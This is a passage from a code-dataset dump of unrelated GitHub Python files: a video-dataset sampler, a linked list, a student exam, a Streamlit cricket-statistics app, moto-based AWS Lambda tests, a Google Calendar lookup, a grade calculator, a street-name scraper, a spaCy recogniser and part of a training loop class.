random.randint(0,half_lap)\n                bridge_tail = (i+1) * avg_len + random.randint(0,half_lap)\n            bridge_point = bridge_head + random.randint(1,avg_len-half_lap-1)\n            bridges[i] = torch.tensor([bridge_head,bridge_point,bridge_tail])\n            # bridges.append([bridge_head,bridge_point,bridge_tail])\n        return bridges\n\n\n    def bridge_phase(self,frame_label):\n        bridges = torch.empty(0,3)\n        frame_list = frame_label.tolist()\n        groups = list(set(frame_list))  # 获取所有组\n        for group in groups:\n            start = frame_list.index(group)  # 组开始的位置\n            end = len(frame_list) - frame_list[::-1].index(group) -1  # 组结束的位置\n            if end - start <= 1: continue\n            bridge_point = random.randint(start+1,end-1)\n            cur = torch.tensor([[start,bridge_point,end]])\n            bridges = torch.cat((bridges,cur),dim=0)\n\n        inx = random.randint(0, len(bridges)-2)\n        # print(bridges[inx],bridges[inx+1])\n        assert len(bridges)>1\n        return bridges[inx:inx+2]\n\n\n\nclass ActionBatchSampler(torch.utils.data.Sampler):\n    def __init__(self, cfg, dataset, batch_size, shuffle=True, seed=0):\n        self.dist = True if cfg.NUM_GPUS > 1 else False\n        self.dataset = dataset\n        self.action_to_indices = dataset.action_to_indices\n        self.batch_size = batch_size\n        self.num_replicas = dist.get_world_size()\n        self.rank = dist.get_rank()\n        self.epoch = 0\n        self.num_samples = int(math.ceil(len(self.dataset) * 1.0 / self.num_replicas))\n        self.total_size = self.num_samples * self.num_replicas\n        self.shuffle = shuffle\n        self.seed = seed\n\n    def __iter__(self):\n        batch = []\n        action = -1\n        for i in iter(range(self.num_samples)):\n            if action == -1:\n                action = torch.randint(high=len(self.action_to_indices), size=(1,), dtype=torch.int64)\n                indices = self.action_to_indices[action.item()]\n                indices_shuffle = torch.randperm(len(indices)).tolist()\n            idx = indices[indices_shuffle[len(batch)]]\n            batch.append(idx)\n            if len(batch) == self.batch_size:\n                yield batch\n                batch = []\n                action = -1\n        \n    def __len__(self):\n        return self.num_samples // self.batch_size\n\n    def set_epoch(self, epoch):\n        self.epoch = epoch","repo_name":"hengRUC/VSP","sub_path":"datasets/penn_action.py","file_name":"penn_action.py","file_ext":"py","file_size_in_byte":8411,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"70953203209","text":"# Ordered Linked List\nclass ListNode:\n    def __init__(self) -> None:\n        self.data = None\n        self.pointer = -1\n\nclass LinkedList:\n    def __init__(self,size) -> None:\n        self.startPtr = 0\n        self.freePtr = 0\n        self.nullPtr = -1\n        self.container = [ListNode() for x in range(size)]\n        self.size = size\n    \n    def initialiseList(self):\n        self.startPtr = self.nullPtr\n        self.freePtr = 0\n\n        for x in range(self.size - 1):\n            self.container[x].pointer = x + 1\n        self.container[self.size - 1].pointer = self.nullPtr\n\n    def insertNode(self, newItem):\n        if self.freePtr != self.nullPtr:\n            newNodePtr = self.freePtr\n            self.container[newNodePtr].data = newItem\n            self.freePtr = self.container[self.freePtr].pointer\n\n            thisNodePtr = self.startPtr\n            prevNodePtr = self.nullPtr\n\n            while thisNodePtr != self.nullPtr and self.container[thisNodePtr].data < newItem:\n                prevNodePtr = thisNodePtr\n                thisNodePtr = self.container[thisNodePtr].pointer\n            \n            if prevNodePtr == thisNodePtr:\n                self.container[newNodePtr].pointer = self.startPtr\n                self.startPtr = newNodePtr\n            else:\n                self.container[newNodePtr].pointer = thisNodePtr\n                if prevNodePtr != self.nullPtr:\n                    self.container[prevNodePtr].pointer = newNodePtr\n                else:\n                    self.startPtr = newNodePtr\n                \n            \n    def displayStatus(self):\n        i = self.startPtr\n        print(\"Start Pointer: \", self.startPtr)\n        print(\"Free Pointer: \", self.freePtr)\n        while i != self.nullPtr:\n            print(f\"Index: {i} | Data: {l1.container[i].data}  | Pointer: {l1.container[i].pointer}\")\n            i = self.container[i].pointer\n\n\n\n# driver code\nn = 10\nl1 = LinkedList(n)\nl1.initialiseList()\n\nl1.insertNode(\"E\")\nl1.insertNode(\"G\")\nl1.insertNode(\"B\")\nl1.insertNode(\"A\")\nl1.insertNode(\"F\")\nl1.insertNode(\"C\")\n\nl1.displayStatus()","repo_name":"yaman1337/abastract-data-type","sub_path":"linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"3677012118","text":"from predicate import is_even\nfrom ile3helper import ints, primes, is_prime, hide, nth, nth_for_m\nfrom collections import defaultdict\n\n\ndef zip_skip(predicate: callable, exception_bool, *iterables):\n    args = []\n    for _iterates_ in iterables:\n        iter_tuple = [iter_ for iter_ in _iterates_]\n        args.append(iter_tuple)\n\n    iter_zip = zip(*args)\n    for iterate in iter_zip:\n        try:\n            skip = False\n            for x in iterate:\n                if not predicate(x):\n                    skip = True\n                    break\n            if not skip:\n                yield iterate\n        except Exception as e:\n            if exception_bool:\n                yield iterate\n\ncloset_sum_min = [[], []]\n\ndef closest_sums(ns: [int], l1: [int], l2: [int]) -> [[int], [int]]:\n    l1_temp = l1.copy()\n    ns_current = [i for i in ns if not i in l1_temp or l1_temp.remove(i)]\n    for _ns in ns_current:\n        # Calc new value\n        l1_temp = l1.copy()\n        l1_temp.append(_ns)\n        l_temp = l1_temp.copy()\n        l2_temp = [i for i in ns if not i in l_temp or l_temp.remove(i)]\n        # l2_temp = ns[index + 1:]\n        if sum(l1_temp) > sum(l2_temp):\n            continue\n\n        diff = sum(l2_temp) - sum(l1_temp)\n\n        # Calc current min_value\n        lmin_temp = l2.copy()\n        l_temp = lmin_temp.copy()\n        lmin2_temp = [i for i in ns if not i in l_temp or l_temp.remove(i)]\n        diff_current = sum(lmin2_temp) - sum(lmin_temp)\n        if diff < diff_current:\n            l2 = l1_temp.copy()\n        # ns_next = l2_temp.copy()\n        l2, _ = closest_sums(ns, l1_temp, l2)\n\n    l_temp = l2.copy()\n    l_1 = [i for i in ns if not i in l_temp or l_temp.remove(i)]\n    return [l2, l_1]\n\n\n# class shared_dict(dict):\n#     # Write __init_, __setitem, and __delitem__ below, after str/verify_shared\n#\n#     # Useful for debugging: see the state of all the dictionaries\n#     def __str__(self):\n#         return f'  # _counts     = {dict.__repr__(self._counts)}\\n  # _stored_kvs = {dict.__str__(self._stored_kvs)}\\n  # shared_dict = {dict.__str__(self)}'\n#\n#     def verify_shared(self, trace_all=False):\n#         wrong = 0\n#         vd = defaultdict(list)\n#\n#         def check(name_checking, d_checking):\n#             nonlocal wrong\n#             if trace_all: print(f'\\nChecking {name_checking} for shared objects')\n#             for k, v in d_checking.items():\n#                 if trace_all: print('  ......')\n#                 if trace_all: print(f'  key   {k} = {object.__repr__(k)}')\n#                 vd.setdefault(k, k)\n#                 if vd[k] is not k:\n#                     wrong += 1\n#                     print(f'  ERROR: in {name_checking} key   {k} does not refer to the correct object')\n#\n#                 if trace_all: print(f'  value {v} = {object.__repr__(v)}')\n#                 vd.setdefault(v, v)\n#                 if vd[v] is not v:\n#                     wrong += 1\n#                     print(f'  ERROR: in {name_checking} value {v} does not refer to the correct object')\n#\n#         check('_counts', self._counts)\n#         check('_counts', self._stored_kvs)\n#         check('shared_dict', self)\n#         return wrong\n#\n#     def __init__(self):\n#         pass\n#\n#     def __setitem__(self, key, value):\n#         pass\n#\n#     def __delitem__(self, key):\n#         pass\n\n\nif __name__ == '__main__':\n    print('\\n\\nTesting zip_skip')\n    lst = list(zip_skip((lambda x: is_even(x)), False, hide([0, 0, 1, 1, 0]), hide([0, 1, 0, 1, 'X'])))\n\n    print(\"for i in zip_skip( (lambda x : x%2 == 0), False )\\n  ... should produce nothing\")\n    for i in zip_skip((lambda x: is_even(x)), False):\n        print(' ', i)\n\n    print(\n        \"\\nzip_skip( (lambda x : is_even(x)), False, hide([0, 0, 1, 1, 0]), hide([0, 1, 0, 1, 'X']))\\n  ... should produce (0, 0)\")\n    for i in zip_skip((lambda x: is_even(x)), False, hide([0, 0, 1, 1, 0]), hide([0, 1, 0, 1, 'X'])):\n        print(' ', i)\n\n    print(\n        \"\\nzip_skip( (lambda x : is_even(x)), True, hide([0, 0, 1, 1, 0]), hide([0, 1, 0, 1, 'X']))\\n   ... should produce (0, 1) and (0, 'X')\")\n    for i in zip_skip((lambda x: is_even(x)), True, hide([0, 0, 1, 1, 0]), hide([0, 1, 0, 1, 'X'])):\n        print(' ', i)\n    #\n    # print(\"\\nnth_for_m(primes(),10,3))\\n...should produce\\n[29, 31, 37]\")\n    # print(nth_for_m(primes(), 10, 3))\n    #\n    # print(\n    #     \"\\nnth_for_m(zip_skip( (lambda x : x%10 == 7), True, ints(), primes()),50,10)\\n...should produce\\n[(1777, 15227), (1797, 15377), (1807, 15467), (1877, 16127), (1927, 16657), (1967, 17047), (1977, 17167), (1997, 17377), (2027, 17627), (2037, 17747)]\")\n    # print(nth_for_m(zip_skip((lambda x: x % 10 == 7), True, ints(), primes()), 50, 10))\n    #\n    # print('\\n\\nTesting closest_sums. Feel free to test other cases: e.g, base cases you choose')\n\n    # print('  closest_sums([],[],[])      = ', closest_sums([], [], []),\n    #       '     ...should be [[],[]]     with allowed permutations')\n    # print('  closest_sums([8],[],[])     = ', closest_sums([8], [], []),\n    #       '    ...should be [[8],[]]    with allowed permutations')\n    # print('  closest_sums([5,8],[],[])   = ', closest_sums([5, 8], [], []),\n    #       '   ...should be [[5],[8]]   with allowed permutations')\n    print('  closest_sums([2,5,8],[],[]) = ', closest_sums([2, 5, 8], [], []),\n          '...should be [[2,5],[8]] with allowed permutations')\n    print('  closest_sums([1,10,8,11,1,9,10],[],[]) = ', closest_sums([1, 10, 8, 11, 1, 9, 10], [], []),\n          '...should be [[1, 10, 11, 1],[8,9,10]] with allowed permutations')\n    #\n    # print('\\n\\nTesting shared_dict. Feel free to test other cases')\n    # print('__setitem__ test: see specifications')\n    # sd = shared_dict()\n    #\n    # print('sd = shared_dict()\\n', sd, sep='')\n    # sd['a'] = tuple([1, 2, 3])\n    # print(\"\\nsd['a'] = tuple([1,2,3])\\n\", sd, sep='')\n    #\n    # sd['b'] = tuple([1, 2, 3])\n    # print(\"\\nsd['b'] = tuple([1,2,3])\\n\", sd, sep='')\n    #\n    # print(\"\\nprint(sd['a'] is sd['b'])\\n\", \"  \", sd['a'] is sd['b'], sep='')\n    #\n    # sd['c'] = 'c'\n    # print(\"\\nsd['c'] = 'c'\\n\", sd, sep='')\n    #\n    # sd[tuple([1, 2, 3])] = 'd'\n    # print(\"\\nsd[tuple([1,2,3])] = 'd'\\n\", sd, sep='')\n    #\n    # print('\\nverifying all equal (==) objects are shared; set trace_all = True for more details')\n    # if (wrong = sd.verify_shared(trace_all=False)) != 0:\n    #     print(f'---found {wrong} objects not shared correctly')\n    # else:\n    #     print('---All are correctly shared')\n    #\n    # print('\\n\\n__delitem__ test: see specifications')\n    # del sd['a']\n    # print(\"\\ndel sd['a']\\n\", sd, sep='')\n    # del sd['b']\n    # print(\"\\ndel sd['b']\\n\", sd, sep='')\n    # del sd['c']\n    # print(\"\\ndel sd['c']\\n\", sd, sep='')\n    # del sd[tuple([1, 2, 3])]\n    # print(\"\\ndel sd[tuple([1,2,3])]\\n\", sd, sep='')\n    #\n    # print('\\n\\n__setitem__ EXTRA CREDIT test: see specifications')\n    # sd = shared_dict()\n    # print('sd = shared_dict()\\n', sd, sep='')\n    # sd['a'] = tuple([1, 2, 3])\n    # print(\"\\nsd['a'] = tuple([1,2,3])\\n\", sd, sep='')\n    # sd['a'] = frozenset([1, 2])\n    # print(\"\\nsd['a'] = frozenset([1,2])\\n\", sd, sep='')\n    #\n    # print()\n    import driver\n    #\n    # # Uncomment the following lines to see MORE details on exceptions\n    driver.default_file_name = 'bscile3F20.txt'\n    # But better to debug putting testing code above\n    #     driver.default_show_exception=True\n    #     driver.default_show_exception_message=True\n    driver.driver()\n","repo_name":"crazy-djactor/Science_education","sub_path":"exam_final/exam.py","file_name":"exam.py","file_ext":"py","file_size_in_byte":7515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29588420976","text":"import streamlit as st\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport helper\r\n\r\ndf = pd.read_csv(\"analysis_df.csv\")\r\n\r\nmenu_bar = st.sidebar.radio(\r\n    'Select an Option',\r\n    ('Data', 'Overall Analysis', 'Head to Head Analysis', 'Ground Analysis')\r\n)\r\nst.image('ICC.png')\r\nif menu_bar == 'Data':\r\n    st.dataframe(df)\r\n\r\nif menu_bar == 'Overall Analysis':\r\n    st.header(\"TOP STATS\")\r\n    # TOTAL STATS\r\n    no_of_matches = df['Match_id'].nunique()\r\n    no_of_countries_hosted = df['Host_Country'].nunique()\r\n    no_of_venues = df['Venue'].nunique()\r\n    no_of_teams = df['Winner'].nunique()\r\n\r\n    col1, col2 = st.columns(2)\r\n    with col1:\r\n        st.subheader(\"Matches Played\")\r\n        st.title(no_of_matches)\r\n\r\n    with col2:\r\n        st.subheader(\"Teams\")\r\n        st.title(no_of_teams)\r\n\r\n    col1, col2 = st.columns(2)\r\n    with col1:\r\n        st.subheader(\"Countries Hosted\")\r\n        st.title(no_of_countries_hosted)\r\n\r\n    with col2:\r\n        st.subheader(\"Venues\")\r\n        st.title(no_of_venues)\r\n\r\n    # PLOTS\r\n\r\n    # YEAR WISE\r\n    st.subheader(\"No. of Matches each year\")\r\n    year = helper.overall_year(df)\r\n    x = year.Year\r\n    y = year.Total_Matches\r\n    fig1 = plt.figure(figsize=(14, 8))\r\n    sns.set_style('darkgrid')\r\n    sns.lineplot(x, y)\r\n    plt.xticks(year.Year, rotation='vertical')\r\n    plt.title(\"Total Matches played each year\")\r\n\r\n    st.pyplot(fig1)\r\n\r\n    # COUNTRY WISE\r\n    st.subheader(\"No. of Matches Hosted by each countries\")\r\n    Host_countries = helper.overall_host_countries(df)\r\n    Host_countries['perc'] = 0\r\n\r\n\r\n    def get_host_perc(Matches):\r\n        val = round(((Matches * 100) / 3683))\r\n        return val\r\n\r\n\r\n    Host_countries['perc'] = Host_countries[\"Matches\"].apply(get_host_perc)\r\n    x = Host_countries.iloc[:-3, :]['perc']\r\n    y = Host_countries.iloc[:-3, :]['Country']\r\n    st.dataframe(Host_countries, height=200)\r\n    fig2 = plt.figure(figsize=(14, 8))\r\n    sns.set_style('darkgrid')\r\n    plt.pie(x, labels=y, startangle=45,\r\n            labeldistance=1.05, )\r\n    st.pyplot(fig2)\r\n\r\n    #   TEAM WISE WINS VS TOTAL MATCHES PLAYED\r\n    st.subheader(\"Team wise Total wins vs Total matches played\")\r\n    Teams = df[\"Winner\"].unique()\r\n    matches_won_of_total = pd.DataFrame(columns=[\"Team\", \"Total_Matches\", \"Total_Wins\"])\r\n    for team in Teams:\r\n        d = helper.overall_wins(df, team)\r\n        #     print(d)\r\n        matches_won_of_total.loc[len(matches_won_of_total)] = d\r\n    st.dataframe(matches_won_of_total, height=200)\r\n\r\n    fig3 = plt.figure(figsize=(16, 6))\r\n    sns.set_style('darkgrid')\r\n    plt.bar(matches_won_of_total['Team'], matches_won_of_total['Total_Matches'], label=\"Total Number of matches played\")\r\n    plt.bar(matches_won_of_total['Team'], matches_won_of_total['Total_Wins'], label=\"Total Number of wins\")\r\n    plt.xticks(rotation=\"vertical\")\r\n    plt.title(\"# of matches played VS # of matches won\")\r\n    plt.legend()\r\n    st.pyplot(fig3)\r\n\r\n    #   TOTAL MATCHES WON AT HOME OF TOTAL MATCHES PLAYED\r\n    st.subheader(\"Matches won at Home VS Total matches played\")\r\n    Home = pd.DataFrame(columns=[\"Country\", \"Total_Matches\", \"Total_Matches_won\"])\r\n    for team in Teams:\r\n        li = helper.overall_home(df, team)\r\n        Home.loc[len(Home)] = li\r\n    st.dataframe(Home, width=600, height=200)\r\n    fig4 = plt.figure(figsize=(16, 8))\r\n    sns.set_style('darkgrid')\r\n    plt.bar(Home.Country, Home.Total_Matches, label=\"Total Matches played at Home\")\r\n    plt.bar(Home.Country, Home.Total_Matches_won, label=\"Total Matches won at Home\")\r\n    plt.xticks(rotation=\"vertical\")\r\n    plt.legend()\r\n    st.pyplot(fig4)\r\n\r\n    #   TOTAL MATCHES WON AWAY HOME OF TOTAL MATCHES PLAYED\r\n    st.subheader(\"Matches won away Home VS Total matches played\")\r\n    Away_Home = pd.DataFrame(columns=[\"Country\", \"Total_Matches\", \"Total_Matches_won\"])\r\n    for team in Teams:\r\n        li = helper.overall_away(df, team)\r\n        Away_Home.loc[len(Away_Home)] = li\r\n\r\n    st.dataframe(Away_Home, width=600, height=200)\r\n\r\n    fig5 = plt.figure(figsize=(16, 8))\r\n    sns.set_style('darkgrid')\r\n    plt.bar(Away_Home.Country, Away_Home.Total_Matches, label=\"Total Matches played away Home\")\r\n    plt.bar(Away_Home.Country, Away_Home.Total_Matches_won, label=\"Total Matches won away Home\")\r\n    plt.xticks(rotation=\"vertical\")\r\n    plt.legend()\r\n    st.pyplot(fig5)\r\n\r\n    #   VICTORIES EACH YEAR\r\n    st.subheader(\"Victories each year\")\r\n    for team in Teams:\r\n        ydata = helper.overall_hth(df, team)\r\n        if team == 'Australia':\r\n            yearwisewin = ydata\r\n\r\n        elif team != 'Australia':\r\n            yearwisewin = yearwisewin.join(ydata)\r\n\r\n    sns.set_style('darkgrid')\r\n    fig6 = plt.figure(figsize=(18, 8))\r\n    sns.heatmap(data=yearwisewin.transpose(), annot=True, cmap='Blues', linewidth=.05)\r\n    plt.xlabel('Year', size=15)\r\n    plt.ylabel('Country', size=15)\r\n    plt.title('Victories each Year\\n(Country)', size=20)\r\n\r\n    st.pyplot(fig6)\r\n\r\nif menu_bar == 'Head to Head Analysis':\r\n    countries = df['Winner'].unique()\r\n\r\n    team1 = st.selectbox(\"Select Team 1\", countries)\r\n    team2 = st.selectbox(\"Select Team 2\", countries)\r\n    # team1 = \"India\"\r\n    # team2 = \"Pakistan\"\r\n    if team1 != team2:\r\n        fig10, fig9, fig8, tota, t1w, t2w, t1_home_wins, t2_home_wins, t1_away_wins, t2_away_wins = helper.head_to_head(\r\n            df, team1, team2)\r\n        st.subheader(f\"Total matches played between {team1} and {team2} is {tota}\")\r\n        st.subheader(\"\")\r\n        st.markdown(f\"{team1} won {t1w} matches and {team2} won {t2w} matches\")\r\n        st.pyplot(fig8)\r\n        st.subheader(\"At Home\")\r\n        st.markdown(f\"{team1} won {t1_home_wins} matches and {team2} won {t2_home_wins} matches\")\r\n        st.pyplot(fig9)\r\n        st.subheader(\"Away Home\")\r\n        st.markdown(f\"{team1} won {t1_away_wins} matches and {team2} won {t2_away_wins} matches\")\r\n        st.pyplot(fig10)\r\n        st.subheader(\"\\n\")\r\n    else:\r\n        st.subheader(\"Selected same team for Team1 and Team2\")\r\n\r\nif menu_bar == 'Ground Analysis':\r\n    Venues = df['Venue'].unique()\r\n    Venue_details = pd.DataFrame(columns=[\"venue\", \"1st_inng_wins\", \"2nd_inng_wins\", \"Total_matches\"])\r\n    for venue in Venues:\r\n        li = helper.get_venue_details(df, venue)\r\n        Venue_details.loc[len(Venue_details)] = li\r\n    # st.dataframe(Venue_details)\r\n    ground = st.selectbox(\"Enter the venue\", Venues)\r\n\r\n    figg, f, s = helper.plot_ground_bar(Venue_details, ground)\r\n    st.subheader(f\"Total no. of matches played at {ground} = {f + s}\")\r\n    st.markdown(f\"First inning wins are {f} \")\r\n    st.markdown(f\"Second inning wins are {s}\")\r\n    fig_team = helper.most_team_wins(df, ground)\r\n\r\n    st.pyplot(figg)\r\n    \r\n    st.markdown(f\"Top 3 teams won most matches at {ground}\")\r\n    st.pyplot(fig_team)\r\n","repo_name":"NMurari7/ODI_Cricket_Analysis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6862,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"36278397172","text":"import json\nimport os\n\nimport boto3\nimport moto\nimport pytest\nfrom request_validation_utils import body_properties\nimport app\n\nTABLE_NAME = \"dermoapp-patient-diagnoses\"\n\n\n@pytest.fixture\ndef lambda_environment():\n    os.environ[app.ENV_TABLE_NAME] = TABLE_NAME\n\n\n@pytest.fixture\ndef aws_credentials():\n    \"\"\"Mocked AWS Credentials for moto.\"\"\"\n    os.environ[\"AWS_ACCESS_KEY_ID\"] = \"testing\"\n    os.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"testing\"\n    os.environ[\"AWS_SECURITY_TOKEN\"] = \"testing\"\n    os.environ[\"AWS_SESSION_TOKEN\"] = \"testing\"\n    os.environ[\"AWS_DEFAULT_REGION\"] = \"us-east-1\"\n\n\n@pytest.fixture\ndef data_table(aws_credentials):\n    with moto.mock_dynamodb():\n        client = boto3.client(\"dynamodb\", region_name=\"us-east-1\")\n        client.create_table(\n            KeySchema=[\n                {\"AttributeName\": \"case_id\", \"KeyType\": \"HASH\"},\n            ],\n            AttributeDefinitions=[\n                {\"AttributeName\": \"case_id\", \"AttributeType\": \"S\"},\n            ],\n            TableName=TABLE_NAME,\n            BillingMode=\"PAY_PER_REQUEST\"\n        )\n\n        yield TABLE_NAME\n\n@pytest.fixture\ndef load_table(data_table):\n    client = boto3.resource(\"dynamodb\")\n    table = client.Table(app.ENV_TABLE_NAME)\n    body = {\n        'diagnose_id': '11111',\n        'doctor_id': \"test-dr\",\n        'diagnose': \"test\",\n        'doctor_name': 'dr.test',\n        'creation_date': '03/03/2023',\n        'case_id': '123',\n        'patient_id': '123'\n    }\n    table.put_item(Item=body)\ndef test_givenValidInputRequestThenReturn200AndValidArray(lambda_environment, load_table):\n    event = {\n        \"resource\": \"/doctor/{patient_id}/diagnose/{case_id}\",\n        \"path\": \"/doctor/123/diagnose/123\",\n        \"httpMethod\": \"GET\",\n        \"pathParameters\": {\n            \"patient_id\": \"123\",\n            \"case_id\": \"123\"\n        },\n        \"isBase64Encoded\": False\n    }\n    lambdaResponse = app.handler(event, [])\n\n    assert lambdaResponse['statusCode'] == 200\n    data = json.loads(lambdaResponse['body'])\n    assert len(data) == 1\n    for item in data:\n        assert item['patient_id'] == '123'\n\ndef test_givenValidInputRequestThenReturn200AndEmptyArray(lambda_environment, load_table):\n    event = {\n        \"resource\": \"/doctor/{patient_id}/diagnose/{case_id}\",\n        \"path\": \"/doctor/123/diagnose/123\",\n        \"httpMethod\": \"GET\",\n        \"pathParameters\": {\n            \"patient_id\": \"123\",\n            \"case_id\": \"1234\"\n        },\n        \"isBase64Encoded\": False\n    }\n    lambdaResponse = app.handler(event, [])\n\n    assert lambdaResponse['statusCode'] == 200\n    data = json.loads(lambdaResponse['body'])\n    assert len(data) == 0\n\n\ndef test_givenMissingQueryParamsOnRequestThenReturnError412(lambda_environment, data_table):\n    event = {\n        \"resource\": \"/doctor/{patient_id}/diagnose/{case_id}\",\n        \"path\": \"/doctor/123/diagnose/123\",\n        \"httpMethod\": \"GET\",\n        \"pathParameters\": {\n            \"patient_id\": \"123\",\n        },\n        \"isBase64Encoded\": False\n    }\n    lambdaResponse = app.handler(event, [])\n\n    assert lambdaResponse['statusCode'] == 412\n    assert '{\"message\": \"missing or malformed query params\"}' in lambdaResponse['body']\n\n\ndef test_givenRequestWithErrorInDBThenReturnError500(lambda_environment):\n    event = {\n        \"resource\": \"/doctor/{patient_id}/diagnose/{case_id}\",\n        \"path\": \"/doctor/123/diagnose/123\",\n        \"httpMethod\": \"GET\",\n        \"pathParameters\": {\n            \"patient_id\": \"123\",\n            \"case_id\": \"1234\"\n        },\n        \"isBase64Encoded\": False\n    }\n    lambdaResponse = app.handler(event, [])\n\n    assert lambdaResponse['statusCode'] == 500\n    assert \"cannot proceed with the request error:\"in  lambdaResponse['body']\n","repo_name":"Miso-grupo10-dermoapp/miso-dermoapp-grupo10-diagnoses-query","sub_path":"test/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10103626740","text":"import pickle\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\n\nSCOPES = ['https://www.googleapis.com/auth/calendar.readonly']\n\ndef main():\n    insummary = input('Event Name: ')\n    creds = None\n\n    if os.path.exists('token.pickle'):\n        with open('token.pickle', 'rb') as token:\n            creds = pickle.load(token)\n\n    if not creds or not creds.valid:\n        if creds and creds.expired and creds.refresh_token:\n            creds.refresh(Request())\n        else:\n            flow = InstalledAppFlow.from_client_secrets_file(\n                'credentials.json', SCOPES)\n            creds = flow.run_local_server(port=0)\n\n        with open('token.pickle', 'wb') as token:\n            pickle.dump(creds, token)\n\n    service = build('calendar', 'v3', credentials=creds)\n\n    events_result = service.events().list(calendarId='primary', singleEvents=True,\n                                        orderBy='startTime').execute()['items']\n    for item in events_result:\n        if item['summary'] == insummary:\n            print('ID: ' + item['id'])\n            print('Link: ' + item['htmlLink'])\n            print('Created: ' + item['created'])\n            print('Last updated: ' + item['updated'])\n            print('Starts: ' + item['start']['dateTime'])\n            print('Ends: ' + item['end']['dateTime'])\n            print('Organizer: ' + item['organizer']['email'])\nmain()\n\n","repo_name":"gadhagod/GoogleAPI-Fun","sub_path":"CalenderAPI/GetEventInfo.py","file_name":"GetEventInfo.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"16301160595","text":"def main():\r\n    notas = []\r\n    for i in range(5):\r\n        nota = float(input(f\"Ingrese la nota {i + 1}: \"))\r\n        \r\n        if nota < 0 or nota > 10:\r\n            print(\"La nota debe estar entre 0 y 10. Intente nuevamente.\")\r\n            return\r\n        notas.append(nota)\r\n    \r\n    print(\"Notas obtenidas:\")\r\n    for i, nota in enumerate(notas, start=1):\r\n        print(f\"Nota {i}: {nota}\")\r\n    \r\n    nota_media = sum(notas) / len(notas)\r\n    print(f\"Nota media: {nota_media}\")\r\n    \r\n    nota_maxima = max(notas)\r\n    nota_minima = min(notas)\r\n    print(f\"Nota más alta: {nota_maxima}\")\r\n    print(f\"Nota menor: {nota_minima}\")\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"Erikacortez0/practica3","sub_path":"ejercicio3.py","file_name":"ejercicio3.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32232588758","text":"import requests\nimport re\n\n\nletter_links = [f'https://www.streetlist.co.uk/gazetteer/{chr(n)}.html' for n in range(97, 123)]\nout = './data/streets.csv'\n\nname_regex = re.compile(r'<a href=\"https:\\/\\/www\\.streetlist\\.co\\.uk\\/road-name\\/.*?\"*?>(.*?)<\\/a>')\nroads = []\n\nfor link in letter_links:\n    print(f'Processing {link}')\n    resp = requests.get(link)\n    raw = name_regex.findall(resp.text)\n    \n    for name in raw:\n        if '(' in name:\n            processed_name = name.split('(')[0].strip()\n        else:\n            processed_name = ' '.join(name.split(' ')[:-1])\n        \n        road_names = processed_name.split('/')\n        for name in road_names:\n            if name.strip() != '':\n                roads.append(name)\n\n\nroads = list(sorted(set(roads)))[1:]\n\nwith open(out, 'w+') as f:\n    f.write(f'ind\\tstreet\\n')\n    for i, road in enumerate(roads):\n        f.write(f'{i}\\t{road}\\n')\n","repo_name":"KarolChlasta/address-gen","sub_path":"src/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72351585607","text":"from typing import Optional, Union\nfrom settings import BUGG_MODEL_V1_PATH\n\nimport spacy\n\nfrom src.tools import normalize_query_pattern\n\nSPACY_MODEL = spacy.load(BUGG_MODEL_V1_PATH)\n\n\ndef recognise_mer(\n    text: str, comment_id: str, model: Optional[SPACY_MODEL] = None\n) -> list[dict[str, Union[str, int]]]:\n    \"\"\"Recognise mentions in text.\n\n    :param text: text, that might contain mentions\n    :param comment_id: id of the object the query belongs to\n    :param model: recognizer model\n    \"\"\"\n    model = model or SPACY_MODEL\n    text = normalize_query_pattern(text, comment_id)\n    doc = model(text)\n    return [\n        dict(\n            body=ent.text,\n            label=ent.label_,\n            start=ent.start,\n            offset=len(ent.text),\n        )\n        for ent in doc.ents\n    ]\n","repo_name":"br-data/wtwm-topic-modelling","sub_path":"src/recogniser/mer_recogniser.py","file_name":"mer_recogniser.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"35028744318","text":"# IMPORT BLOCK ###############################################################\n# Lib Imports\nimport asyncio\nimport threading\nfrom typing import List\n\n# Local Imports\nfrom . import __backend_config as config\nfrom .utils import ConvoText, Mood, LoopPatch, get_timestamp\n\nfrom .manager_conversation import ConvoManager\nfrom .manager_data import DataManager\nfrom .classifier import Classifier\nfrom .generator import Generator\n\n# END IMPORT BLOCK ###########################################################\n\n\nclass MainLoop:\n    \"\"\"\n    Runs the training steps and allows to interrupt for inference.\n    All models and data are managed here. FastAPI only calls the\n    methods of this class.\n    \"\"\"\n\n    def __init__(self) -> None:\n        # Loop Props\n        self.__inference_queue = asyncio.Queue()\n        self.__results: dict[int, ConvoText] = {}\n        self._thread = threading.Thread(target=self._run_loop_in_thread)\n        self._thread.daemon = True  # to end the loop if the main thread ends\n        self.state = LoopPatch.State.loading\n\n        # Model Props\n        self._convo_manager = ConvoManager()\n        self._data_manager = DataManager()\n        self._classifier = Classifier()\n        self._generator = Generator()\n\n        # Loop Flags\n        self._enter_state = True\n        self._new_epoch = True\n\n        # Inference Props\n        self._active_split = 